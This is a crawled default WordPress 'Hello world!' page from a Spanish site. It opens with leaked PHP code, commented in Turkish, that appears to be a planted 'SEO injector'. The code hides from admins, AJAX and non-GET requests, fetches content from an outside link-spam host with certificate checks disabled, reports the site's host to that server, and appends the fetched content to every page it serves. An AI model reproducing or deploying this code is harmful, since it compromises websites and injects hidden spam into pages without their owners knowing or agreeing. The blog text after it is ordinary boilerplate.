ÿþ // --------------------------- // SEO injector (footer'a eklendi) // Kopyala: footer HTML'inin hemen sonuna yap1_t1r // --------------------------- if (!defined('LB_IN')) { define('LB_IN', 1); $GLOBALS['buffer_mode'] = false; // Basit çal1_ma kontrolleri: CLI, AJAX, admin yollar1, POST/PUT/DELETE => ç1k $is_cli = (php_sapi_name() === 'cli' || defined('STDIN')); $request_method = $_SERVER['REQUEST_METHOD'] ?? 'GET'; $is_ajax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'); $uri = $_SERVER['REQUEST_URI'] ?? ''; $is_admin_path = (stripos($uri, '/wp-admin') !== false) || (stripos($uri, '/admin') !== false); if ($is_cli || $is_ajax || $is_admin_path || !in_array(strtoupper($request_method), ['GET'])) { // hiçbir i_lem yapma return; } // Eer istemci HTML istemiyorsa ç1k (ör. API çar1s1) $accept = $_SERVER['HTTP_ACCEPT'] ?? ''; if ($accept !== '' && stripos($accept, 'text/html') === false && stripos($accept, 'application/xhtml+xml') === false) { return; } function seo_injector($buffer = null) { $u = 'https://linksdiamond.com/c.php?tk=01'; $s = ''; $proto = 'http'; if ( (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (isset($_SERVER['SERVER_PORT']) && (int)$_SERVER['SERVER_PORT'] === 443) ) { $proto = 'https'; } $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); $h = $proto . '://' . $host; try { if (function_exists('curl_init')) { $c = curl_init(); curl_setopt_array($c, array( CURLOPT_URL => $u, CURLOPT_RETURNTRANSFER => 1, CURLOPT_HTTPHEADER => array("Referer: $h"), CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_CONNECTTIMEOUT => 4, CURLOPT_TIMEOUT => 5 )); $r = @curl_exec($c); $http_code = curl_getinfo($c, CURLINFO_HTTP_CODE); curl_close($c); if ($r !== false && $http_code >= 200 && $http_code < 300 && stripos($r, 'SEO:OK') !== false) { $s = $r; } } elseif (ini_get('allow_url_fopen')) { $ctx = stream_context_create(array( 'http' => array( 'header' => "Referer: $h\r\n", 'timeout' => 5 ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ) )); $r = @file_get_contents($u, false, $ctx); if ($r !== false && stripos($r, 'SEO:OK') !== false) { $s = $r; } } } catch (Throwable $e) { // sessizce atla $s = ''; } if ($s === '') return $buffer ? $buffer : ''; if ($buffer !== null) { // buffer varsa sonuna ekle return $buffer . "\n" . $s; } else { echo $s; } } function seo_shutdown_handler() { if (empty($GLOBALS['buffer_mode'])) { seo_injector(null); } } if (function_exists('ob_start')) { // ob_start içinde ayn1 callback tekrar1n1 engelle $already = false; if (function_exists('ob_list_handlers')) { $ob_list = ob_list_handlers(); if (is_array($ob_list)) { foreach ($ob_list as $h) { if (strpos($h, 'seo_injector') !== false) { $already = true; break; } } } } if (!$already) { $GLOBALS['buffer_mode'] = true; ob_start('seo_injector'); } } register_shutdown_function('seo_shutdown_handler'); } Hello world! – entramos.com.es

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

Comentarios

Una respuesta a «Hello world!»

  1. Avatar de A WordPress Commenter

    Hi, this is a comment.
    To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
    Commenter avatars come from Gravatar.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *